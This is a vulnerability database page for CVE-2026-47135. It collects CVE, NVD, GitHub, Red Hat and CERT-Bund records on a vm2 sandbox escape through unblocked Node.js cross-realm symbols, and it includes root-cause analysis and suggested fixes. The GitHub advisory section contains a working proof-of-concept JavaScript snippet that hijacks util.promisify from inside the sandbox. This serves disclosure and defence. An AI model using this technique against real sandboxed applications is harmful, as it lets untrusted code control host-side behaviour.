Vulnerability-Lookup

CVE-2026-47135 (GCVE-0-2026-47135)

Vulnerability from cvelistv5 – Published: 2026-06-12 14:14 – Updated: 2026-06-13 03:55

Title

vm2: Sandbox escape via unblocked cross-realm Symbol.for keys + missing bridge write-trap symbol checks

Summary

vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, Symbol.for override in setup-sandbox.js only intercepts 2 of 9 dangerous Node.js cross-realm symbols. Combined with the bridge's set/defineProperty/deleteProperty traps having no isDangerousCrossRealmSymbol key check, sandbox code can obtain real cross-realm symbols, write them to host objects, and control host-side behavior — verified with a full util.promisify hijack chain. This issue has been patched in version 3.11.4.

Severity

8.7 (High)


                        
                          CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N

SSVC

Exploitation: none Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-06-12 00:00 UTC

CWE

CWE-693 - Protection Mechanism Failure

Assigner

GitHub_M mitre root

References

3 references

URL	Tags
https://github.com/patriksimek/vm2/security/advis…	x_refsource_CONFIRM
https://github.com/patriksimek/vm2/commit/928aef5…	x_refsource_MISC
https://github.com/patriksimek/vm2/releases/tag/v3.11.4	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
patriksimek	vm2	Affected: < 3.11.4	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-47135",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-06-12T00:00:00+00:00",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-06-13T03:55:55.641Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "vm2",
          "vendor": "patriksimek",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 3.11.4"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, Symbol.for override in setup-sandbox.js only intercepts 2 of 9 dangerous Node.js cross-realm symbols. Combined with the bridge\u0027s set/defineProperty/deleteProperty traps having no isDangerousCrossRealmSymbol key check, sandbox code can obtain real cross-realm symbols, write them to host objects, and control host-side behavior \u2014 verified with a full util.promisify hijack chain. This issue has been patched in version 3.11.4."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "HIGH",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 8.7,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-693",
              "description": "CWE-693: Protection Mechanism Failure",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-06-12T14:14:42.022Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/patriksimek/vm2/security/advisories/GHSA-m5q2-4fm3-vfqp",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-m5q2-4fm3-vfqp"
        },
        {
          "name": "https://github.com/patriksimek/vm2/commit/928aef51898b5c52a05f05a40c4cfeb52e172878",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/patriksimek/vm2/commit/928aef51898b5c52a05f05a40c4cfeb52e172878"
        },
        {
          "name": "https://github.com/patriksimek/vm2/releases/tag/v3.11.4",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.4"
        }
      ],
      "source": {
        "advisory": "GHSA-m5q2-4fm3-vfqp",
        "discovery": "UNKNOWN"
      },
      "title": "vm2: Sandbox escape via unblocked cross-realm Symbol.for keys + missing bridge write-trap symbol checks"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-47135",
    "datePublished": "2026-06-12T14:14:42.022Z",
    "dateReserved": "2026-05-18T19:50:18.695Z",
    "dateUpdated": "2026-06-13T03:55:55.641Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-47135",
      "date": "2026-09-20",
      "epss": "0.00266",
      "percentile": "0.19038"
    },
    "nvd": {
      "cve": {
        "affected": [
          {
            "affectedData": [
              {
                "product": "vm2",
                "vendor": "patriksimek",
                "versions": [
                  {
                    "status": "affected",
                    "version": "\u003c 3.11.4"
                  }
                ]
              }
            ],
            "source": "security-advisories@github.com"
          }
        ],
        "cveTags": [],
        "descriptions": [
          {
            "lang": "en",
            "value": "vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, Symbol.for override in setup-sandbox.js only intercepts 2 of 9 dangerous Node.js cross-realm symbols. Combined with the bridge\u0027s set/defineProperty/deleteProperty traps having no isDangerousCrossRealmSymbol key check, sandbox code can obtain real cross-realm symbols, write them to host objects, and control host-side behavior \u2014 verified with a full util.promisify hijack chain. This issue has been patched in version 3.11.4."
          }
        ],
        "id": "CVE-2026-47135",
        "lastModified": "2026-06-17T10:54:20.920",
        "metrics": {
          "cvssMetricV31": [
            {
              "cvssData": {
                "attackComplexity": "HIGH",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 8.7,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "HIGH",
                "privilegesRequired": "NONE",
                "scope": "CHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N",
                "version": "3.1"
              },
              "exploitabilityScore": 2.2,
              "impactScore": 5.8,
              "source": "security-advisories@github.com",
              "type": "Secondary"
            }
          ],
          "ssvcV203": [
            {
              "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "ssvcData": {
                "id": "CVE-2026-47135",
                "options": [
                  {
                    "exploitation": "none"
                  },
                  {
                    "automatable": "no"
                  },
                  {
                    "technicalImpact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-06-12T00:00:00+00:00",
                "version": "2.0.3"
              }
            }
          ]
        },
        "published": "2026-06-12T15:16:28.007",
        "references": [
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/patriksimek/vm2/commit/928aef51898b5c52a05f05a40c4cfeb52e172878"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.4"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-m5q2-4fm3-vfqp"
          }
        ],
        "sourceIdentifier": "security-advisories@github.com",
        "vulnStatus": "Deferred",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-693"
              }
            ],
            "source": "security-advisories@github.com",
            "type": "Secondary"
          }
        ]
      }
    },
    "redhat_vex": {
      "aggregate_severity": "Moderate",
      "current_release_date": "2026-09-05T21:25:11+00:00",
      "cve": "CVE-2026-47135",
      "id": "CVE-2026-47135",
      "initial_release_date": "2026-06-12T14:14:42.022000+00:00",
      "product_status:fixed": "3",
      "product_status:known_not_affected": "6",
      "source": "Red Hat CSAF VEX",
      "status": "final",
      "title": "vm2: vm2: Sandbox escape allows arbitrary code execution on the host system",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-47135.json",
      "version": "3"
    },
    "vulnrichment": {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-47135",
                    "options": [
                      {
                        "Exploitation": "none"
                      },
                      {
                        "Automatable": "no"
                      },
                      {
                        "Technical Impact": "total"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-06-12T15:07:51.229548Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-06-12T15:07:53.488Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "product": "vm2",
              "vendor": "patriksimek",
              "versions": [
                {
                  "status": "affected",
                  "version": "\u003c 3.11.4"
                }
              ]
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, Symbol.for override in setup-sandbox.js only intercepts 2 of 9 dangerous Node.js cross-realm symbols. Combined with the bridge\u0027s set/defineProperty/deleteProperty traps having no isDangerousCrossRealmSymbol key check, sandbox code can obtain real cross-realm symbols, write them to host objects, and control host-side behavior \u2014 verified with a full util.promisify hijack chain. This issue has been patched in version 3.11.4."
            }
          ],
          "metrics": [
            {
              "cvssV3_1": {
                "attackComplexity": "HIGH",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 8.7,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "HIGH",
                "privilegesRequired": "NONE",
                "scope": "CHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N",
                "version": "3.1"
              }
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-693",
                  "description": "CWE-693: Protection Mechanism Failure",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-06-12T14:14:42.022Z",
            "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
            "shortName": "GitHub_M"
          },
          "references": [
            {
              "name": "https://github.com/patriksimek/vm2/security/advisories/GHSA-m5q2-4fm3-vfqp",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-m5q2-4fm3-vfqp"
            },
            {
              "name": "https://github.com/patriksimek/vm2/commit/928aef51898b5c52a05f05a40c4cfeb52e172878",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/patriksimek/vm2/commit/928aef51898b5c52a05f05a40c4cfeb52e172878"
            },
            {
              "name": "https://github.com/patriksimek/vm2/releases/tag/v3.11.4",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.4"
            }
          ],
          "source": {
            "advisory": "GHSA-m5q2-4fm3-vfqp",
            "discovery": "UNKNOWN"
          },
          "title": "vm2: Sandbox escape via unblocked cross-realm Symbol.for keys + missing bridge write-trap symbol checks"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2026-47135",
        "datePublished": "2026-06-12T14:14:42.022Z",
        "dateReserved": "2026-05-18T19:50:18.695Z",
        "dateUpdated": "2026-06-13T03:55:55.641Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-47135

Vulnerability from fkie_nvd - Published: 2026-06-12 15:16 - Updated: 2026-06-17 10:54

Severity

8.7 (High) - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/patriksimek/vm2/commit/928aef51898b5c52a05f05a40c4cfeb52e172878
	security-advisories@github.com	https://github.com/patriksimek/vm2/releases/tag/v3.11.4
	security-advisories@github.com	https://github.com/patriksimek/vm2/security/advisories/GHSA-m5q2-4fm3-vfqp

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "vm2",
          "vendor": "patriksimek",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 3.11.4"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, Symbol.for override in setup-sandbox.js only intercepts 2 of 9 dangerous Node.js cross-realm symbols. Combined with the bridge\u0027s set/defineProperty/deleteProperty traps having no isDangerousCrossRealmSymbol key check, sandbox code can obtain real cross-realm symbols, write them to host objects, and control host-side behavior \u2014 verified with a full util.promisify hijack chain. This issue has been patched in version 3.11.4."
    }
  ],
  "id": "CVE-2026-47135",
  "lastModified": "2026-06-17T10:54:20.920",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "HIGH",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 8.7,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.2,
        "impactScore": 5.8,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-47135",
          "options": [
            {
              "exploitation": "none"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-06-12T00:00:00+00:00",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-06-12T15:16:28.007",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/patriksimek/vm2/commit/928aef51898b5c52a05f05a40c4cfeb52e172878"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.4"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-m5q2-4fm3-vfqp"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-693"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-M5Q2-4FM3-VFQP

Vulnerability from github – Published: 2026-05-29 17:44 – Updated: 2026-06-12 19:30

Summary

vm2 has a sandbox escape via unblocked cross-realm Symbol.for keys + missing bridge write-trap symbol checks

Details

Summary

vm2 3.11.2 Symbol.for override in setup-sandbox.js only intercepts 2 of 9 dangerous Node.js cross-realm symbols. Combined with the bridge's set/defineProperty/deleteProperty traps having no isDangerousCrossRealmSymbol key check, sandbox code can obtain real cross-realm symbols, write them to host objects, and control host-side behavior — verified with a full util.promisify hijack chain.

Root Cause

1. Incomplete Symbol.for override (setup-sandbox.js:132-142):

Symbol.for = function (key) {
    const keyStr = '' + key;
    if (keyStr === 'nodejs.util.inspect.custom') return blockedSymbolCustomInspect;
    if (keyStr === 'nodejs.rejection') return blockedSymbolRejection;
    return originalSymbolFor(keyStr); // everything else passes through
};

Only inspect.custom and rejection are blocked. The following 7 Node.js internal symbols pass through as real cross-realm symbols:

nodejs.util.promisify.custom
nodejs.stream.readable
nodejs.stream.writable
nodejs.stream.duplex
nodejs.stream.transform
nodejs.webstream.isClosedPromise
nodejs.webstream.controllerErrorFunction

Note: bridge.js isDangerousCrossRealmSymbol covers promisify.custom on reads, but the Symbol.for override in setup-sandbox does not block it at the source.

2. Missing symbol check in bridge write traps (bridge.js):

The get trap (line 1148) and ownKeys trap (line 1541) both check isDangerousCrossRealmSymbol(key), but set (line 1231), defineProperty (line 1427), and deleteProperty (line 1493) have no such check. Sandbox code can write/define/delete properties with dangerous symbol keys on any non-protected host object.

3. Incomplete filters in setup-sandbox.js:

isDangerousSymbol(), Object.getOwnPropertyDescriptors override, and Object.assign override only filter inspect.custom and rejection — missing promisify.custom and all stream/webstream symbols.

Verified Exploitation: util.promisify Hijack

const { VM } = require('vm2');
const util = require('util');

const vm = new VM();
const hostFn = function readFile(path, cb) { cb(null, 'real data'); };
vm.setGlobal('hostFn', hostFn);

// Sandbox writes promisify.custom to host function
vm.run(`
  const kPromisify = Symbol.for('nodejs.util.promisify.custom');
  hostFn[kPromisify] = function(path) {
    return Promise.resolve('HIJACKED by sandbox');
  };
`);

// Host-side: promisified function now returns sandbox-controlled value
const asyncRead = util.promisify(hostFn);
asyncRead('/etc/passwd').then(console.log);
// Output: "HIJACKED by sandbox"

Additional verified attacks:

Writing nodejs.stream.writable to a host Readable stream, altering its duck-typing identity
Object.assign propagates unblocked symbols from sandbox source to host target
Object.defineProperty with unblocked symbol key succeeds on host objects
delete hostObj[unblocked_symbol] succeeds, removing host-set symbol properties

Impact

Semantic confusion: Sandbox controls host util.promisify behavior, host stream type checks, and WebStream internals for any non-frozen host object exposed to the sandbox.
Data integrity: Host code relying on promisified function results gets sandbox-controlled values.
Defense bypass: Combined with specific host API patterns, sandbox-provided fake streams could bypass host-side input validation.

This is not a direct RCE — the bridge still wraps sandbox functions crossing the boundary — but it grants the sandbox control over host-side control flow decisions that depend on these symbol-keyed properties.

Affected Versions

vm2 <= 3.11.2 (all 3.x versions)

Environment

Node.js v24.14.0
macOS (Darwin 25.4.0)

Suggested Fix

setup-sandbox.js: Block all nodejs.* prefixed symbols:

Symbol.for = function (key) {
    const keyStr = '' + key;
    if (keyStr.startsWith('nodejs.')) return Symbol(keyStr);
    return originalSymbolFor(keyStr);
};

bridge.js: Add check to write traps:

set(target, key, value, receiver) {
    if (isDangerousCrossRealmSymbol(key)) throw new VMError(OPNA);
    // ...
}

setup-sandbox.js: Sync isDangerousSymbol, Object.getOwnPropertyDescriptors, Object.assign to cover all dangerous symbols.

Severity

8.7 (High)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.11.3"
      },
      "package": {
        "ecosystem": "npm",
        "name": "vm2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.11.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47135"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-29T17:44:32Z",
    "nvd_published_at": "2026-06-12T15:16:28Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nvm2 3.11.2 `Symbol.for` override in `setup-sandbox.js` only intercepts 2 of 9 dangerous Node.js cross-realm symbols. Combined with the bridge\u0027s `set`/`defineProperty`/`deleteProperty` traps having **no** `isDangerousCrossRealmSymbol` key check, sandbox code can obtain real cross-realm symbols, write them to host objects, and control host-side behavior \u2014 verified with a full `util.promisify` hijack chain.\n\n## Root Cause\n\n**1. Incomplete `Symbol.for` override** (`setup-sandbox.js:132-142`):\n\n```js\nSymbol.for = function (key) {\n    const keyStr = \u0027\u0027 + key;\n    if (keyStr === \u0027nodejs.util.inspect.custom\u0027) return blockedSymbolCustomInspect;\n    if (keyStr === \u0027nodejs.rejection\u0027) return blockedSymbolRejection;\n    return originalSymbolFor(keyStr); // everything else passes through\n};\n```\n\nOnly `inspect.custom` and `rejection` are blocked. The following 7 Node.js internal symbols pass through as **real cross-realm symbols**:\n\n- `nodejs.util.promisify.custom`\n- `nodejs.stream.readable`\n- `nodejs.stream.writable`\n- `nodejs.stream.duplex`\n- `nodejs.stream.transform`\n- `nodejs.webstream.isClosedPromise`\n- `nodejs.webstream.controllerErrorFunction`\n\nNote: `bridge.js` `isDangerousCrossRealmSymbol` covers `promisify.custom` on **reads**, but the `Symbol.for` override in setup-sandbox does not block it at the source.\n\n**2. Missing symbol check in bridge write traps** (`bridge.js`):\n\nThe `get` trap (line 1148) and `ownKeys` trap (line 1541) both check `isDangerousCrossRealmSymbol(key)`, but `set` (line 1231), `defineProperty` (line 1427), and `deleteProperty` (line 1493) have **no such check**. Sandbox code can write/define/delete properties with dangerous symbol keys on any non-protected host object.\n\n**3. Incomplete filters in setup-sandbox.js**:\n\n`isDangerousSymbol()`, `Object.getOwnPropertyDescriptors` override, and `Object.assign` override only filter `inspect.custom` and `rejection` \u2014 missing `promisify.custom` and all stream/webstream symbols.\n\n## Verified Exploitation: util.promisify Hijack\n\n```js\nconst { VM } = require(\u0027vm2\u0027);\nconst util = require(\u0027util\u0027);\n\nconst vm = new VM();\nconst hostFn = function readFile(path, cb) { cb(null, \u0027real data\u0027); };\nvm.setGlobal(\u0027hostFn\u0027, hostFn);\n\n// Sandbox writes promisify.custom to host function\nvm.run(`\n  const kPromisify = Symbol.for(\u0027nodejs.util.promisify.custom\u0027);\n  hostFn[kPromisify] = function(path) {\n    return Promise.resolve(\u0027HIJACKED by sandbox\u0027);\n  };\n`);\n\n// Host-side: promisified function now returns sandbox-controlled value\nconst asyncRead = util.promisify(hostFn);\nasyncRead(\u0027/etc/passwd\u0027).then(console.log);\n// Output: \"HIJACKED by sandbox\"\n```\n\n**Additional verified attacks:**\n\n- Writing `nodejs.stream.writable` to a host Readable stream, altering its duck-typing identity\n- `Object.assign` propagates unblocked symbols from sandbox source to host target\n- `Object.defineProperty` with unblocked symbol key succeeds on host objects\n- `delete hostObj[unblocked_symbol]` succeeds, removing host-set symbol properties\n\n## Impact\n\n- **Semantic confusion**: Sandbox controls host `util.promisify` behavior, host stream type checks, and WebStream internals for any non-frozen host object exposed to the sandbox.\n- **Data integrity**: Host code relying on promisified function results gets sandbox-controlled values.\n- **Defense bypass**: Combined with specific host API patterns, sandbox-provided fake streams could bypass host-side input validation.\n\nThis is not a direct RCE \u2014 the bridge still wraps sandbox functions crossing the boundary \u2014 but it grants the sandbox control over host-side control flow decisions that depend on these symbol-keyed properties.\n\n## Affected Versions\n\n- vm2 \u003c= 3.11.2 (all 3.x versions)\n\n## Environment\n\n- Node.js v24.14.0\n- macOS (Darwin 25.4.0)\n\n## Suggested Fix\n\n1. **`setup-sandbox.js`**: Block all `nodejs.*` prefixed symbols:\n\n```js\nSymbol.for = function (key) {\n    const keyStr = \u0027\u0027 + key;\n    if (keyStr.startsWith(\u0027nodejs.\u0027)) return Symbol(keyStr);\n    return originalSymbolFor(keyStr);\n};\n```\n\n2. **`bridge.js`**: Add check to write traps:\n\n```js\nset(target, key, value, receiver) {\n    if (isDangerousCrossRealmSymbol(key)) throw new VMError(OPNA);\n    // ...\n}\n```\n\n3. **`setup-sandbox.js`**: Sync `isDangerousSymbol`, `Object.getOwnPropertyDescriptors`, `Object.assign` to cover all dangerous symbols.",
  "id": "GHSA-m5q2-4fm3-vfqp",
  "modified": "2026-06-12T19:30:01Z",
  "published": "2026-05-29T17:44:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-m5q2-4fm3-vfqp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47135"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/commit/928aef51898b5c52a05f05a40c4cfeb52e172878"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patriksimek/vm2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "vm2 has a sandbox escape via unblocked cross-realm Symbol.for keys + missing bridge write-trap symbol checks"
}

RHSA-2026:33574

Vulnerability from csaf_redhat - Published: 2026-06-30 15:00 - Updated: 2026-09-19 05:41

Summary

Red Hat Security Advisory: Red Hat Developer Hub 1.9.6 release.

Severity

Important

Scope

31 vulnerabilities in this advisory, including CVE-2026-47135.

CVE-2026-47135

A flaw was found in vm2, an open-source virtual machine (VM) sandbox for Node.js. An attacker within the sandbox could exploit incomplete symbol interception and missing security checks to gain control over the host system. This could allow the attacker to execute arbitrary code outside the sandbox environment, leading to a complete compromise of the host.

8.7 (High)


                
                  CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N

Fixed: 1 product Known not affected: 2 products

https://access.redhat.com/errata/RHSA-2026:33574

Open the full advisory

RHSA-2026:36754

Vulnerability from csaf_redhat - Published: 2026-07-08 13:07 - Updated: 2026-09-21 00:13

Summary

Red Hat Security Advisory: Red Hat Developer Hub 1.10.2 release.

Severity

Important

Scope

29 vulnerabilities in this advisory, including CVE-2026-47135.

CVE-2026-47135

8.7 (High)


                
                  CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N

Fixed: 1 product Known not affected: 4 products

https://access.redhat.com/errata/RHSA-2026:36754

Open the full advisory

RHSA-2026:50850

Vulnerability from csaf_redhat - Published: 2026-08-05 16:35 - Updated: 2026-09-16 18:15

Summary

Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.1 security update

Severity

Important

Scope

25 vulnerabilities in this advisory, including CVE-2026-47135.

CVE-2026-47135

8.7 (High)


                
                  CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N

Fixed: 1 product

https://access.redhat.com/errata/RHSA-2026:50850

Open the full advisory

WID-SEC-W-2026-1583

Vulnerability from csaf_certbund - Published: 2026-05-18 22:00 - Updated: 2026-08-05 22:00

Summary

vm2: Mehrere Schwachstellen

Severity

Kritisch

Scope

9 vulnerabilities in this advisory, including CVE-2026-47135.

CVE-2026-47135

Known affected: 2 products

Open the full advisory

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-47135 (GCVE-0-2026-47135)

FKIE_CVE-2026-47135

GHSA-M5Q2-4FM3-VFQP

Summary

Root Cause

Verified Exploitation: util.promisify Hijack

Impact

Affected Versions

Environment

Suggested Fix

RHSA-2026:33574

RHSA-2026:36754

RHSA-2026:50850

WID-SEC-W-2026-1583

Tags

Sightings

Nomenclature

Related by attack behaviour